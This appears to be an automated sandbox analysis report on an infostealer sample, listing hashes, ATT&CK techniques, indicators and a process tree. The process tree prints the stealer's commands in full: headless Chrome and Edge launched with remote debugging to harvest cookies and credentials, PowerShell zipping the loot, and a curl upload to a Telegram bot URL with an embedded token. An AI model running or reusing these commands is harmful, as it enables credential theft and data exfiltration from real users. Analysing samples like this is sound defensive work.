23e843b6024c66eb7da869b42e0b6de787a09b2bfb6ed32d5956f94b2ea9fcf0

Analysis

user interaction
yes
max time kernel
44s
max time network
19s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
15/04/2026, 15:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Sryxen-Stealer-Rewrite_real.exe
Size 2.9MB
Sample260415-s3k7csct2j
SHA256 23e843b6024c66eb7da869b42e0b6de787a09b2bfb6ed32d5956f94b2ea9fcf0
MD5 574b93458b84e8d6b962a7bc6bc05e9e
SHA1 d8832c5c942a851438097c9fa00e52e0fbdba8dc
SHA512 889d48b1f62ab52aea307b09f817878540edcf47cec20b8cf1f887838f27e5fa18303d34189777788ede0aecd897de4f447782ea907f40f37355e0a9c096a18f
SSDEEP 24576:ahrIvhKqUXt3hFyqXKqWUTV1V1V1VeKJ6BOPhbAM3Tfp3I+ASr5k+YhJnJnEDZBR:a1IWX9yqXKqWUDJbbpIei7hH/M
TLSH
T165E5F8EEDA7F11E9C0B7D0B8A157721BF9A1384943B557C752908F0A2B13AE4A97D3C0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access discovery execution spyware stealer

Malware Config

Signatures

Uses browser remote debugging 2 TTPs 11 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
3900	chrome.exe
4320	msedge.exe
6008	msedge.exe
468	msedge.exe
3972	msedge.exe
1052	msedge.exe
5676	chrome.exe
4208	chrome.exe
748	chrome.exe
3024	msedge.exe
2252	msedge.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5308	powershell.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5784	chrome.exe
220	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134207411832287449"	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3932	Sryxen-Stealer-Rewrite_real.exe
3932	Sryxen-Stealer-Rewrite_real.exe
3932	Sryxen-Stealer-Rewrite_real.exe
3932	Sryxen-Stealer-Rewrite_real.exe
5676	chrome.exe
5676	chrome.exe
3932	Sryxen-Stealer-Rewrite_real.exe
3932	Sryxen-Stealer-Rewrite_real.exe
5308	powershell.exe
5308	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5676	chrome.exe
Token: SeCreatePagefilePrivilege	5676	chrome.exe
Token: SeShutdownPrivilege	5676	chrome.exe
Token: SeCreatePagefilePrivilege	5676	chrome.exe
Token: SeShutdownPrivilege	5676	chrome.exe
Token: SeCreatePagefilePrivilege	5676	chrome.exe
Token: SeShutdownPrivilege	5676	chrome.exe
Token: SeCreatePagefilePrivilege	5676	chrome.exe
Token: SeDebugPrivilege	5308	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
5676	chrome.exe
3024	msedge.exe
3024	msedge.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3932 wrote to memory of 5676	3932	Sryxen-Stealer-Rewrite_real.exe	81
PID 5676 wrote to memory of 5704	5676	chrome.exe	82
PID 5676 wrote to memory of 5640	5676	chrome.exe	83
PID 5676 wrote to memory of 5784	5676	chrome.exe	84
PID 5676 wrote to memory of 2804	5676	chrome.exe	85
PID 5676 wrote to memory of 4208	5676	chrome.exe	87
PID 5676 wrote to memory of 3900	5676	chrome.exe	88
PID 5676 wrote to memory of 748	5676	chrome.exe	90
PID 5676 wrote to memory of 5616	5676	chrome.exe	91
PID 3932 wrote to memory of 3024	3932	Sryxen-Stealer-Rewrite_real.exe	93
PID 3024 wrote to memory of 2640	3024	msedge.exe	94
PID 3024 wrote to memory of 412	3024	msedge.exe	95
PID 3024 wrote to memory of 220	3024	msedge.exe	96
PID 3024 wrote to memory of 4056	3024	msedge.exe	97
PID 3024 wrote to memory of 2252	3024	msedge.exe	98
PID 3024 wrote to memory of 4320	3024	msedge.exe	99
PID 3024 wrote to memory of 1052	3024	msedge.exe	101
PID 3024 wrote to memory of 3972	3024	msedge.exe	102
PID 3024 wrote to memory of 468	3024	msedge.exe	103
PID 3024 wrote to memory of 6008	3024	msedge.exe	104
PID 3932 wrote to memory of 5448	3932	Sryxen-Stealer-Rewrite_real.exe	106
PID 5448 wrote to memory of 5308	5448	cmd.exe	107
PID 3932 wrote to memory of 5836	3932	Sryxen-Stealer-Rewrite_real.exe	108
PID 5836 wrote to memory of 3660	5836	cmd.exe	109

C:\Users\Admin\AppData\Local\Temp\Sryxen-Stealer-Rewrite_real.exe
"C:\Users\Admin\AppData\Local\Temp\Sryxen-Stealer-Rewrite_real.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3932
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --remote-debugging-port=19868 --remote-allow-origins=* --disable-extensions --no-sandbox --disable-gpu
  2⤵
  - Uses browser remote debugging
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:5676
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffead69c728,0x7ffead69c734,0x7ffead69c740
    3⤵
    PID:5704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1868,i,1425488899769792307,3652990146366705487,262144 --disable-features=PaintHolding --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1864 /prefetch:2
    3⤵
    PID:5640
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1868,i,1425488899769792307,3652990146366705487,262144 --disable-features=PaintHolding --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1916 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5784
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1868,i,1425488899769792307,3652990146366705487,262144 --disable-features=PaintHolding --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2088 /prefetch:13
    3⤵
    PID:2804
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=19868 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1868,i,1425488899769792307,3652990146366705487,262144 --disable-features=PaintHolding --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2908 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:4208
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=19868 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1868,i,1425488899769792307,3652990146366705487,262144 --disable-features=PaintHolding --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2920 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3900
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=19868 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1868,i,1425488899769792307,3652990146366705487,262144 --disable-features=PaintHolding --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4000 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:748
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1868,i,1425488899769792307,3652990146366705487,262144 --disable-features=PaintHolding --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4664 /prefetch:14
    3⤵
    PID:5616
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --remote-debugging-port=53046 --remote-allow-origins=* --disable-extensions --no-sandbox --disable-gpu
  2⤵
  - Uses browser remote debugging
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3024
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x254,0x258,0x25c,0x250,0x274,0x7ffead05c188,0x7ffead05c194,0x7ffead05c1a0
    3⤵
    PID:2640
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2032,i,83674613684292266,13390455151925984218,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2028 /prefetch:2
    3⤵
    PID:412
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2032,i,83674613684292266,13390455151925984218,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2036 /prefetch:11
    3⤵
    - System Time Discovery
    PID:220
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2032,i,83674613684292266,13390455151925984218,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2264 /prefetch:13
    3⤵
    PID:4056
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=53046 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2032,i,83674613684292266,13390455151925984218,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3224 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:2252
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=53046 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2032,i,83674613684292266,13390455151925984218,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3232 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:4320
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=53046 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2032,i,83674613684292266,13390455151925984218,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3668 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:1052
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=53046 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2032,i,83674613684292266,13390455151925984218,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3680 /prefetch:9
    3⤵
    - Uses browser remote debugging
    PID:3972
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=53046 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=2032,i,83674613684292266,13390455151925984218,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3736 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:468
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=53046 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --field-trial-handle=2032,i,83674613684292266,13390455151925984218,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3776 /prefetch:9
    3⤵
    - Uses browser remote debugging
    PID:6008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command Compress-Archive -Path "C:\Users\Admin\AppData\Local\Temp\Sryxen" -DestinationPath "C:\Users\Admin\AppData\Local\Temp\Admin_SryxenRetrieved.zip" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Compress-Archive -Path "C:\Users\Admin\AppData\Local\Temp\Sryxen" -DestinationPath "C:\Users\Admin\AppData\Local\Temp\Admin_SryxenRetrieved.zip"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -F "chat_id=-5015914754" -F "document=@\"C:\Users\Admin\AppData\Local\Temp\Admin_SryxenRetrieved.zip\"" -F "caption=DIR: Cryptowallets Games Socials VPN " https://api.telegram.org/bot8093384989:AAETISiLfEF0SKaSP-7seypZeHlZtvSTjUk/sendDocument
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5836
- - C:\Windows\system32\curl.exe
    curl -F "chat_id=-5015914754" -F "document=@\"C:\Users\Admin\AppData\Local\Temp\Admin_SryxenRetrieved.zip\"" -F "caption=DIR: Cryptowallets Games Socials VPN " https://api.telegram.org/bot8093384989:AAETISiLfEF0SKaSP-7seypZeHlZtvSTjUk/sendDocument
    3⤵
    PID:3660

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4576

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3844

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Modify Authentication Process

T1556

Privilege Escalation

Defense Evasion

Modify Authentication Process

T1556

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nmmhkkegccagdldgiimedpiccmgmieda\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nmmhkkegccagdldgiimedpiccmgmieda\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Last Browser

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Browser
Size 106B
SHA256 3615498fbef408a96bf30e01c318dac2d5451b054998119080e7faac5995f590
MD5 de9ef0c5bcc012a3a1131988dee272d8
SHA1 fa9ccbdc969ac9e1474fce773234b28d50951cd8
SHA512 cea946ebeadfe6be65e33edff6c68953a84ec2e2410884e12f406cac1e6c8a0793180433a7ef7ce097b24ea78a1fdbb4e3b3d9cdf1a827ab6ff5605da3691724
TLSH
T1AAB0112033FC0228F3F38200AE333BA00F3FF8230000022CA008228808B38288880FB3
MD5 SHA1 SHA512 TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
Size 13B
SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
MD5 43ef949d3c6e9956545979ace65d0085
SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 90KB
SHA256 e92186954182f8e5a1f366c7a387d41e89ce1b7a2ab8be2b3c515143834eaef4
MD5 cc5e342acb02122cc4d1f9279b655b2e
SHA1 4155c5c7b1d89e0bb556bef1086f2fd5f3da17cf
SHA512 87ccc041f8d8630544f88fda2c1f936a4e6f00c1f021083fdbceeef8f83d54e9001770af5ddad757762c638b2bfdcdd2e91b3b24ce4f7578d4b25b36b33019cc
SSDEEP 1536:wSrP++SKG0qRilWUATqUd408KMYbF5ITGkbEKTldfQVHV+Y6zIFNA:t++J3qUQm08KMWF0bFTcVHr6zf
TLSH
T19F9312B9991E7D39236ED39AA0179CAC8DE3DCDE151410BC30C75F1E14BB392A31B8A5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 eacd218daf22fcefbc23ae70ce919d8ac95b89c3f7d038f647296c47a218fc46
MD5 35b0754e7f5b0bef0f59e6474c3c9e30
SHA1 a5dbcd61883043544b184e46e47beb3bf5d259a8
SHA512 0a14f00d3bf385bd104004e3adb021fc5b135483b30669a0f446d235f67bf00d734e76a56ac18adc3d6765163a992c78b2c6833f0e764506a9c06ff2ad8fc90e
TLSH
T1ECD0801452F17C64C2E65975484677153D1DD4E346C3537225A3267C4C461881C953C7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 7173f2853e3b591f142ed047bb6a2ea62d5d817f9016fdd31efbebd88f820e91
MD5 9093390d9e798f9a4ccc25251c10fea5
SHA1 96837bd82509feb4ca69a53466162950148f0394
SHA512 4db01b0d83eba59662ef7f147a96bb0034c92f2c5d5ac83ceeae12ddc800fe8dbce64d41320c2a3031796e981edc605460e3a1da207a6a9d39812740085a86ef
TLSH
T1A7D0801412F17C64C6E65975484577153D1DD4E346C3537325A3267C4C471C81C953C7
MD5 SHA1 SHA512 TLSH

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
Size 14B
SHA256 ee1367d356a136a11664001cd90e05ba08dbaa85f496584158f5e42be8e836fd
MD5 8297da058a737611abcc3a0ede9ffc24
